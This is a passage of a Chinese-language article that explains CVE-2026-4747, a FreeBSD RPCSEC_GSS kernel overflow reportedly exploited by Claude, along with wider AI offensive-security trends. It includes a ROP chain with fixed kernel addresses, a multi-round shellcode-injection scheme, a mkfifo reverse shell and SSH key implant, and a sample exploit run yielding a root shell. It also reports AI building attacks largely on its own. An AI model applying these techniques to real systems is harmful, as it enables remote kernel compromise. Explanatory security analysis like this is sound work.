快速摘要
2026年3月26日，FreeBSD官方发布了一份安全公告（CVE-2026-4747），披露了一个位于RPCSEC_GSS模块的远程代码执行漏洞。令整个安全行业震动的是，这个漏洞的发现和利用都由AI大模型Claude自主完成——从拿到漏洞公告到写出可运行的root shell攻击程序，仅耗时约4小时。这是有据可查的首次由AI自主完成从漏洞发现到内核级远程利用的完整攻击链。 本文将从漏洞原理、攻击链构建、技术细节、行业影响等多个维度进行深入拆解，帮助你理解这一事件的来龙去脉，以及它对整个网络安全生态意味着什么。往下看有更详细的技术分析和行业影响拆解。
一、事件背景：一行致谢引发的安全地震
2026年3月26日，FreeBSD官方安全公告FreeBSD-SA-26:08.rpcsec_gss正式发布。公告本身看起来平平无奇——一个RPCSEC_GSS模块中的栈缓冲区溢出漏洞，编号CVE-2026-4747，CVSS评分8.8。然而，真正让全球安全社区集体失语的，是公告致谢栏里的那行文字：
「Nicholas Carlini using Claude, Anthropic」
Nicholas Carlini是Anthropic前沿红队（Frontier Red Team）的研究科学家，也是AI安全研究领域最具影响力的人物之一。他长期从事对抗性机器学习和AI安全评估工作，在学术界和工业界都享有极高声誉。这行简短的致谢，意味着一个AI模型不仅发现了这个内核级漏洞，还在后续研究中自主构建了完整的远程攻击利用程序。
随后在2026年4月1日，安全研究团队Calif发布了完整的技术报告，详细记录了Claude从接收漏洞公告到产出可运行利用程序的全过程。Calif团队是一个专注于AI安全能力评估的独立研究小组，他们发起的MAD Bugs（Month of AI-Discovered Bugs，AI发现漏洞月）计划正是以这次FreeBSD利用为旗舰成果。
莫潇羽@无忆研习社 在整理资料时注意到，这并非普通的"AI辅助挖洞"。根据Calif的报告，他们将FreeBSD的漏洞公告交给Claude Opus 4.6后，研究人员在大部分时间里并没有守在电脑前——他们离开了键盘。8小时挂钟时间后（其中AI实际工作时间约4小时），Claude独立交付了两套可运行的远程root shell利用程序，而且两个版本都是第一次运行就成功。
这意味着什么？一个AI系统，在几乎没有人类干预的情况下，完成了过去只有顶级安全研究团队耗费数周才能完成的工作。网络安全领域的攻防天平，在这一刻发生了质变。
二、为什么FreeBSD被攻破如此令人震惊
在深入技术细节之前，我们需要理解FreeBSD在全球IT基础设施中的特殊地位。
FreeBSD不是我们日常接触的消费级操作系统。它是一套极其成熟的开源Unix类操作系统，被大量关键基础设施所依赖。Netflix用它来构建内容分发网络（CDN），PlayStation的底层操作系统基于它开发，WhatsApp的消息基础设施运行在它之上，全球大量核心路由器、存储设备和防火墙也将它作为底层系统。
FreeBSD之所以获得这种信任，在于它的代码库经过了数十年的持续审计和加固。无数顶级安全工程师对它进行过反复的安全审查，它的稳定性和安全性在业界享有极高声誉。用一个形象的说法，FreeBSD在安全领域的地位，就像是一座经过无数次地震考验的堡垒。
在安全工程界有一个共识：代码存活时间越长、经历审计越多，残留的漏洞越难被发现。FreeBSD的核心代码库已经有超过30年的历史，期间经历了无数次安全审计、代码重构和加固。每次出现漏洞，都会引发系统性的安全审查。正因如此，在FreeBSD中找到一个可被远程利用的内核漏洞，其难度等级远远高于在一个普通Web应用中发现SQL注入。
然而，这样一个「坚如磐石」的系统，被一个AI在4小时内攻破了。这就好比有人用一把瑞士军刀，在半天之内打开了银行金库的大门——而这把"瑞士军刀"，是任何人花几百元API费用就能调用的。
这件事还有一个更深层的含义：如果FreeBSD都能被攻破，那么世界上还有哪个系统是真正安全的？每一个Linux发行版、每一个商业操作系统、每一个关键基础设施的底层代码，都可能在AI的审视下暴露出从未被注意的致命缺陷。这不是危言耸听，而是FreeBSD事件所昭示的严峻现实。
三、CVE-2026-4747：漏洞原理深度拆解
3.1 漏洞所在的模块
CVE-2026-4747存在于FreeBSD的RPCSEC_GSS实现中，具体位于内核模块kgssapi.ko。这个模块负责为NFS（网络文件系统）服务器提供Kerberos认证支持。当NFS服务器加载了kgssapi.ko模块并监听2049/TCP端口时，攻击面就暴露出来了。
3.2 漏洞的根本原因
漏洞的根本原因是一个经典的栈缓冲区溢出。具体来说，在sys/rpc/rpcsec_gss/svc_rpcsec_gss.c文件中，函数svc_rpc_gss_validate()在验证RPCSEC_GSS数据包的签名时，需要将RPC头部重建到一个栈上的缓冲区（rpchdr[]，大小为128字节）中。
这个函数的工作流程是这样的：它先写入32字节的固定RPC头部字段，然后将整个RPCSEC_GSS凭据体（长度由oa_length字段指定）复制到剩余空间中。问题在于——它没有检查oa_length是否超出了缓冲区的容量。
用伪代码表示这个逻辑：
// svc_rpc_gss_validate() 中的关键代码逻辑
int rpchdr[32]; // 128字节的栈缓冲区（32个int32_t）
// 先写入32字节固定头部
memcpy(rpchdr, fixed_header, 32);
// 然后复制凭据体——没有边界检查！
memcpy(rpchdr + 8, credential_body, oa_length);
// 当 oa_length > 96 时，就会溢出到栈上的其他数据这意味着，一个恶意客户端可以构造一个超长的RPCSEC_GSS凭据体，让数据溢出到rpchdr缓冲区之外，覆盖栈上的返回地址和其他关键数据。一旦函数返回，程序计数器（RIP）就会跳转到攻击者指定的地址，从而实现代码执行。
3.3 受影响的版本范围
根据FreeBSD官方公告，受影响的版本包括：
- FreeBSD 13.5（p11之前）
- FreeBSD 14.3（p10之前）
- FreeBSD 14.4（p1之前）
- FreeBSD 15.0（p5之前）
FreeBSD已于2026年3月26日发布补丁，修复方式是在内存复制操作之前添加边界检查。补丁本身只有寥寥几行——一个简单的长度校验。但正是这几行缺失的代码，构成了一个可被远程利用的内核级漏洞。
3.4 为什么这个漏洞利用难度极高
虽然漏洞本身是一个"经典"的栈溢出，但要将它转化为一个可靠的远程内核利用程序，难度是量级性的。原因有几个方面：
这是内核空间的漏洞，不是用户空间的普通应用程序。内核利用需要对操作系统内部机制有极深的理解，包括内存布局、线程管理、特权级切换等。一旦操作不当，整个系统就会崩溃（kernel panic），不仅利用失败，还会暴露攻击行为。
此外，每次溢出只能写入有限的数据（约200字节的ROP链空间），而一个完整的shellcode远不止这个大小。如何在这种严格限制下完成一个完整的攻击链，是一个非常考验功力的工程问题。
不过，有一个有利条件：FreeBSD 14.x默认没有启用KASLR（内核地址空间布局随机化），内核地址是固定且可预测的；同时，对于int32_t数组也没有栈保护（stack canaries）。这降低了利用难度，但远不意味着"简单"。
四、AI的攻击链构建：六大技术难题的自主突破
根据Calif团队发布的完整技术分析（发布在GitHub仓库 califio/publications 中），从漏洞公告到获得远程root shell，Claude需要独立解决六个层层递进的技术难题。这六个问题的解决过程，展现了AI在系统级安全研究中令人震撼的推理能力。
4.1 实验环境搭建
Claude首先需要搭建一个可复现漏洞的测试环境。它自主配置了一台FreeBSD虚拟机，安装并启用了NFS服务器、Kerberos认证系统，以及存在漏洞的kgssapi.ko内核模块。整个配置过程使得栈溢出可以通过网络触发。
值得注意的是，Claude还判断出虚拟机需要至少2个CPU核心。这不是随意猜测——FreeBSD会为每个CPU生成8个NFS工作线程，而后续的利用过程中每一轮攻击都会消耗（终止）一个线程。如果CPU数量不够，线程会在攻击完成之前耗尽。同时，Claude还配置了远程调试环境，以便读取内核崩溃转储（crash dump）来分析攻击效果。
4.2 多包投递策略
这是整个攻击链中最精巧的设计之一。由于每次栈溢出最多只能注入约200字节的ROP链（因为RPCSEC_GSS凭据体限制为400字节，减去头部开销后可用空间约200字节），而一个完整的反向shell的shellcode有432字节，单次溢出根本放不下。
Claude设计了一个分15轮投递的策略：
第1轮：利用ROP链调用pmap_change_prot()函数，将内核BSS段的一个页面权限从"可写不可执行"修改为"可读+可写+可执行"（RWX）。这突破了W^X保护机制。
ROP链（第1轮）：
pop rdi → rdi = 0xffffffff8198a000 (内核BSS页地址)
pop rsi → rsi = 0x2000 (2页 = 8KB)
pop rdx → rdx = 7 (VM_PROT_ALL = 读|写|执行)
pmap_change_prot (修改页面权限为RWX)
pop rdi → rdi = 0 (退出状态码)
kthread_exit (干净地终止NFS线程)第2-15轮：每轮使用pop rdi / pop rax / mov [rdi], rax; ret这组gadget原语，将shellcode按每次32字节写入到刚刚变为可执行的BSS内存中。每次8字节写入消耗40字节的ROP链空间（3个gadget地址 + 2个立即数），每轮写入4次就是160字节，加上24字节的清理退出代码，总共184字节，恰好在200字节的预算之内。
这里有一个非常重要的工程细节值得展开讨论。为什么是每轮写入4次（32字节）而不是5次（40字节）？因为5次写入需要200字节的ROP链（5 × 40 = 200），再加上24字节的kthread_exit()清理代码，总共224字节——这超出了200字节的预算。Claude在设计这个方案时，精确地计算了每个字节的分配，在极度紧凑的空间限制下找到了最优解。
另一个需要关注的细节是mov [rdi], rax; ret这个gadget本身。在ROP（Return-Oriented Programming，面向返回的编程）技术中，攻击者不是注入新代码，而是复用程序中已有的代码片段（称为"gadget"）。每个gadget以ret指令结尾，通过控制栈上的返回地址，将这些gadget串联起来执行任意逻辑。Claude需要在FreeBSD 14.4-RELEASE的GENERIC内核中找到合适的gadget组合，并计算出每个gadget的精确地址——由于FreeBSD 14.x没有KASLR，这些地址在所有同版本系统上都是固定的，但也意味着Claude需要基于具体的内核二进制文件来定位每一个gadget。
ROP链的设计可以用下面的示意图来理解：
┌─────────────────────────────────────────────────────┐
│ 栈溢出后的内存布局 │
├─────────────────────────────────────────────────────┤
│ rpchdr[32] (128字节) ← 正常缓冲区 │
│ ... 其他局部变量 ... │
│ 保存的 RBP ← 被溢出数据覆盖 │
│ 保存的 RIP ← 被ROP链首地址覆盖 │
│ ROP gadget 1: pop rdi ← 函数返回后跳转到这里 │
│ 参数: 目标地址 │
│ ROP gadget 2: pop rax │
│ 参数: 要写入的8字节数据 │
│ ROP gadget 3: mov [rdi], rax; ret │
│ ... (重复3次) ... │
│ ROP gadget N: pop rdi │
│ 参数: 0 │
│ ROP gadget N+1: kthread_exit │
└─────────────────────────────────────────────────────┘整个攻击过程类似于用注射器精确地向内核内存中的指定位置注入数据——每次注入一小块，15次注入完成整个shellcode的组装。
最后一轮：写入最后16字节的shellcode，然后跳转到shellcode的入口点开始执行。
这种设计的巧妙之处在于，它将一个"空间不够"的硬约束，转化为"时间换空间"的策略——发更多的包就行了。莫潇羽@无忆研习社 认为，这种思路体现的不是简单的模式匹配，而是真正的工程推理能力。
4.3 内核线程劫持与干净退出
每轮ROP链执行完毕后面临一个严峻问题：栈已经被破坏了，正常的函数返回流程已经不可能了。如果处理不当，内核会直接panic（崩溃），不仅利用失败，还会被系统管理员立即发现。
Claude找到的解决方案是调用kthread_exit()。这个内核函数可以干净地终止当前线程，不会触发panic，也不会导致系统不稳定。每轮攻击牺牲一个NFS工作线程，但服务器整体仍然正常运行。这就是为什么前面提到需要至少2个CPU——16个NFS线程（每CPU 8个 × 2个CPU）足以支撑15轮攻击。
4.4 偏移量校准
在实际利用过程中，一个关键问题是精确确定RIP（指令指针）的覆盖偏移量。最初根据svc_rpc_gss_validate()的反汇编代码，推算出保存的RBX寄存器从凭据体的第120字节开始，RIP在第168字节。但在实践中，由于GSS凭据头部包含一个带XDR填充的16字节上下文句柄，实际数据偏移了32字节，真正的RIP偏移量是第200字节。
Claude通过发送De Bruijn循环模式（一种用于精确定位缓冲区溢出偏移量的经典技术）并分析内核崩溃转储中的寄存器值，独立发现并修正了这个偏差。
4.5 跨空间跃迁：从内核到用户空间
shellcode在内核上下文中执行，但最终目标是在用户空间创建一个root权限的shell进程。这需要跨越内核空间与用户空间的边界——这在操作系统设计中是最严格的隔离层之一。
Claude的shellcode完成了以下工作：在内核中调用fork1()（FreeBSD的进程创建函数）创建新进程，然后在新进程中通过execve()启动一个shell。由于整个过程发生在内核线程上下文中，shellcode还需要正确处理进程凭据（credentials）的设置，确保新进程以uid=0（root）身份运行。
要理解这一步的难度，需要知道内核线程和用户进程之间存在根本的结构差异。内核线程运行在最高特权级（ring 0），没有用户空间的地址映射，也没有关联的文件描述符表、信号处理器等用户进程所需的基础设施。从一个纯内核上下文中"孵化"出一个完整的用户空间进程，需要精确地初始化进程控制块（PCB）、设置虚拟内存映射、配置凭据结构体、建立文件描述符表（至少需要标准输入/输出/错误三个文件描述符）等一系列操作。
Claude的432字节shellcode中，很大一部分就是在处理这些繁琐但关键的初始化工作。对于反向shell方案，它还需要创建一个套接字连接到攻击者的监听端口，并将这个套接字重定向为新进程的标准输入和输出。由于FreeBSD的nc（netcat）命令不支持-e参数来直接执行程序，Claude采用了mkfifo方案来实现双向通信管道——这是一个在渗透测试中常见的技巧，但在纯shellcode环境中实现它需要多次系统调用的精确编排。
4.6 调试寄存器清理
在调试过程中遇到了一个意想不到的问题：子进程会因为调试异常（debug exception）而崩溃。Claude追踪发现原因是DDB（FreeBSD内核调试器）遗留的硬件断点——调试寄存器DR7中的残留值被子进程继承了。Claude的修复方式是在fork之前清除DR7寄存器。
这个问题的发现和修复过程特别值得关注，因为它体现了AI在面对非预期问题时的调试能力。传统的漏洞利用开发中，这类"意外"问题往往消耗大量时间——研究者可能需要数小时甚至数天才能定位到是调试寄存器残留导致的崩溃，因为这个问题完全在预期的攻击流程之外。Claude通过分析崩溃转储中的异常代码和寄存器状态，快速定位了问题根源并实施了修复。这种从崩溃现象到根因再到修复方案的完整调试推理链，过去被认为是高级安全研究者的"直觉"领域。
4.7 Kerberos协议兼容性处理
在攻击链的早期阶段还有一个值得提及的插曲。FreeBSD的gssd守护进程使用Heimdal的GSS-API库，而攻击者主机使用的是MIT Kerberos。初始的GSS上下文建立返回了GSS_S_DEFECTIVE_TOKEN错误，原因是MIT的gssapi模块对主机名进行了规范化：freebsd-vuln通过DNS解析到127.0.0.1，再反向解析变成了localhost，导致生成的Kerberos服务主体名称与服务器端不匹配。Claude识别了这个协议层的兼容性问题，并通过配置修正解决了它。这再次说明，一个可工作的内核利用程序不仅需要底层的内存操控能力，还需要对应用层协议的深入理解。
五、两套利用程序：不同策略，同样有效
Claude最终产出了两个独立的利用程序，采用了不同的后利用策略：
方案一：反向Shell——通过4444端口建立反向连接，在目标服务器上生成一个交互式root shell。由于FreeBSD的nc不支持-e参数，Claude使用了mkfifo管道方案来实现双向通信。运行效果如下：
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
[*] Starting listener on 0.0.0.0:4444...
[*] Round 1/15: Making BSS executable...
[*] Round 2/15: Writing shellcode bytes 0-31...
...
[*] Round 15/15: Writing final bytes and jumping to shellcode...
[+] Got connection from 127.0.0.1
# id
uid=0(root) gid=0(wheel) groups=0(wheel)方案二：SSH公钥植入——将攻击者的SSH公钥写入/root/.ssh/authorized_keys文件，实现持久化访问。这种方式更隐蔽，不需要保持实时连接。
两个方案都是第一次运行即成功，直接获得了uid=0(root)最高权限。
六、人类研究者的角色：44条提示词的引导
莫潇羽@无忆研习社 需要特别说明一点：虽然Claude完成了绝大部分技术工作，但这并非完全"无人驾驶"。根据公开的提示词日志（claude-prompts.txt），整个过程中人类研究者通过44条提示词对Claude进行了引导。
这些提示词的内容大致分为几类：
第一类是方向性指令，比如"我们要为这个漏洞搭建测试环境"、"用实际的FreeBSD模块来测试，不要自己编译"。第二类是纠错指令，比如"你杀掉的是哪个QEMU进程？我们在另一个会话中也在用QEMU，不要杀那个"。第三类是完善指令，比如"把exploit做得更好看一点，支持命令行参数指定目标IP"、"把writeup写详细一些，假设读者从没见过FreeBSD内核利用"。
可以看到，人类研究者扮演的更像是一个"项目经理"或"导师"的角色——提出目标、纠正方向、要求改进——而所有的技术实现、调试、问题排查都由Claude自主完成。这与传统的"人类做分析，工具做执行"的范式完全不同。
七、不是孤例：MAD Bugs计划与500+零日漏洞
FreeBSD内核利用并非一个孤立事件。它是MAD Bugs（Month of AI-Discovered Bugs，AI发现漏洞月） 计划的一部分，该计划由Calif安全研究团队发起，持续到2026年4月底。
在此之前，Anthropic的前沿红队已经用Claude Opus 4.6在开源软件中发现并验证了超过500个高严重性零日漏洞。这些漏洞不是简单的误报或低危问题——每一个都经过人类安全研究人员的独立验证，涵盖了从内存损坏到远程代码执行的多种类型。
已经公开的部分成果包括：
- Vim文本编辑器：CVE-2026-34714，CVSS评分9.2，远程代码执行漏洞。攻击者可以通过让用户打开一个恶意文件来执行任意代码。已在Vim 9.2.0272中修复。发现过程的提示词极其简单——"有人告诉我打开文件时存在一个RCE零日漏洞，找到它。"
- GNU Emacs：一个远程代码执行漏洞。Claude发现后进行了负责任披露，但Emacs维护团队拒绝修复，认为这是Git的问题。这导致用户至今仍暴露在风险中。
- Firefox浏览器：在两周内发现22个漏洞，其中14个为高严重性。这几乎相当于2025年全年修复的高严重性Firefox漏洞数量的20%。Claude甚至为其中的CVE-2026-2796编写了可工作的JavaScript利用程序。
- Linux内核：Carlini使用Claude Code发现了Linux内核NFS驱动中一个存在了23年的漏洞。这个漏洞允许攻击者通过网络读取敏感的内核内存。
- Ghost CMS：在RSAC 2026安全大会上的现场演示中，Claude在90分钟内发现了Ghost内容管理系统的一个盲SQL注入漏洞（CVE-2026-26980），该漏洞允许未认证用户完全接管管理员账户。Ghost在其整个项目历史上从未出现过严重级别的安全漏洞。
这些发现共同描绘出一个事实：AI已经能够系统性地在经过数十年专家审计的成熟代码库中发现人类遗漏的高危漏洞。
Anthropic在2026年2月5日发布的研究论文《评估和缓解LLM发现零日漏洞的日益增长的风险》中详细描述了方法论：他们将Claude放入一个虚拟机环境中，提供标准系统工具和漏洞分析工具（如调试器和模糊测试器），但不提供任何定制化的指令或专门的工具脚手架。整个过程测试的是Claude"开箱即用"的能力。
这种方法论的设计非常有意义。它意味着Claude使用的工具与人类安全研究者完全相同——没有专门的"AI漏洞发现引擎"，没有预训练的漏洞模式库，没有为AI特别优化的接口。Claude所做的事情，本质上与一个人类研究者坐在终端前分析代码的过程是一样的，只是速度快了几个数量级。
在验证环节，Anthropic的流程也值得关注。为了避免向开源维护者发送"幻觉"（即AI编造的不存在的漏洞）报告，他们建立了多阶段验证机制。首先，Claude对发现的潜在漏洞进行自我批评、去重和优先级排序。然后，对于内存损坏类漏洞，通过地址消毒器（AddressSanitizer）等工具进行技术验证——如果一个输入确实导致了内存越界访问或释放后使用，这就是一个真实的漏洞而非幻觉。最后，由Anthropic的安全研究人员进行最终的人工审查，确认漏洞的严重性并手写补丁。随着发现量的增长，他们还引入了外部安全研究人员来分担验证和补丁开发的工作。
这种方法论的选择也反映了一个重要的现实：AI发现漏洞的速度已经远远超过了人类验证漏洞的速度。Carlini本人在接受采访时坦言，他手上还有数百个尚未验证的崩溃报告。AI产出漏洞的流水线已经不是瓶颈——瓶颈在于人类的验证和修复能力。这种"生产力瓶颈"的转移，本身就是一个标志性的变化。
八、量化AI网络攻防能力的增长速度
FreeBSD事件不是凭空出现的。它是AI网络攻防能力指数级增长曲线上的一个最新数据点。多个独立研究团队从不同角度量化了这一趋势，结论惊人一致。
8.1 Lyptus研究：进攻性网络安全时间视界
澳大利亚AI安全研究机构Lyptus发布了一份重磅报告，首次将METR（一个AI评估组织）的"时间视界"（Time Horizons）方法论应用到进攻性网络安全领域。
他们的研究方法是这样的：邀请10位真实的安全专业人员，花费149小时完成291个网络安全任务，任务难度从28秒的简单命令到36小时的复杂CVE利用不等。每个任务都标注了"一个熟练人类专家通常需要多长时间完成"。然后让AI模型在不同难度的任务上进行测试，当AI的成功率达到50%时，对应的人类耗时就是AI的"P50时间视界"。
核心发现令人警醒：自2019年以来，AI在进攻性网络安全领域的能力翻倍周期为9.8个月。但如果只看2024年之后的数据，这个周期急剧缩短到了5.7个月。
这个加速趋势意味着什么？可以用一组对比来直观理解。在2023年之前，AI在网络安全任务上的能力接近于零——几乎无法完成任何有意义的安全任务。到了2024年，AI开始能够处理一些简单的安全相关操作。而到了2025年底和2026年初，能力曲线急剧陡峭，AI开始能够完成人类专家级别的复杂任务。
Lyptus报告还引入了一个重要概念——"适应缓冲期"（adaptation buffer），即开源模型获得与闭源前沿模型同等能力所需的时间延迟。在进攻性网络安全领域，这个缓冲期为5.7到13.1个月。这意味着，即便通过API级别的访问限制来控制前沿模型的滥用，开源社区也会在一到两个翻倍周期内获得同等能力。API层面的防护措施提供的时间窗口是有限的。
在具体模型表现上：Claude Opus 4.6和GPT-5.3 Codex在200万token预算下，能以50%的成功率完成人类专家需要3小时的任务。如果将token预算提升到1000万，P50时间视界直接跃升到10.5小时（置信区间2.4-63.5小时）。
更值得关注的是token预算与性能之间的关系。报告显示，在难度较高的任务子集上，准确率随token预算的增加而显著提升。GPT-5.3 Codex在全部任务集上的准确率从5万token时的44.0%上升到1000万token时的86.6%。而在那些人类专家需要2小时以上才能完成的任务上，准确率从5万token时的1.2%飙升到1000万token时的70.4%。这说明，给予AI更多的"思考时间"（以token消耗为代理指标），它在困难任务上的表现会出现质的飞跃。
英国AI安全研究所（UK AISI）的测试甚至在5000万token的预算下仍未观察到性能平台期——这意味着当前所有测试结果都可能只是AI真实能力的保守下限。
报告还特别指出，200万token的预算严重低估了AI的真实能力。后2025年的模型在100万到200万token之间的P50提升了1.3到1.9倍。换句话说，目前的测试结果只是AI能力的下限。
8.2 MIT FutureTech：更广泛的劳动力市场视角
几乎在Lyptus报告发布的同一时间，MIT CSAIL的FutureTech团队发表了一篇论文《Crashing Waves vs. Rising Tides》，从更广泛的劳动力市场角度验证了类似的趋势。
他们测试了40多个模型在3000多个来源于美国劳动部O*NET分类的真实文本任务上的表现。这些任务涵盖了从客服脚本到合同审核、从数据分析到代码审查的各类实际工作内容。
研究发现，2024年第二季度时，AI模型在人类专家需要3-4小时完成的任务上成功率约为50%；到2025年第三季度，这一成功率提升到了约65%。如果当前的增长趋势持续，到2029年，AI在大多数文本相关任务上的成功率将达到80%-95%。
虽然MIT团队采用了与Lyptus完全不同的方法论、完全不同的任务集合、完全不同的评估体系，但得出的结论却指向同一个方向：AI能力正在以指数级速度增长，而且这种增长是广泛的、跨领域的。
8.3 UK AISI与Irregular的验证
英国AI安全研究所（UK AISI）在其2026年国际AI安全报告中将网络安全确认为"AI造成现实世界危害的证据最强的领域"。Anthropic在2025年底披露了首个有据可查的大规模AI协调网络间谍活动案例，其中威胁行为者使用AI将复杂攻击链分解为离散子任务，并自动化了80%-90%的操作。
安全评估公司Irregular也发布了独立验证结果：在2025年年中之前，AI模型在高难度任务上的成功率几乎为零；但到了2025年深秋，成功率迅速攀升到约60%。这种阶跃式的能力提升，让原本的渐进预期变成了断崖式的现实冲击。
九、技术的双刃剑：防御视角的深度思考
莫潇羽@无忆研习社 在分析这一事件时，认为有必要从防御者的角度进行深入思考。
9.1 漏洞发现与利用的成本崩塌
过去，开发一个内核级远程利用程序是一项极其昂贵的工程。它通常需要多名顶尖安全专家数周甚至数月的持续工作，涉及的知识领域包括操作系统内核、汇编语言、内存管理、网络协议等。这种能力曾经是少数国
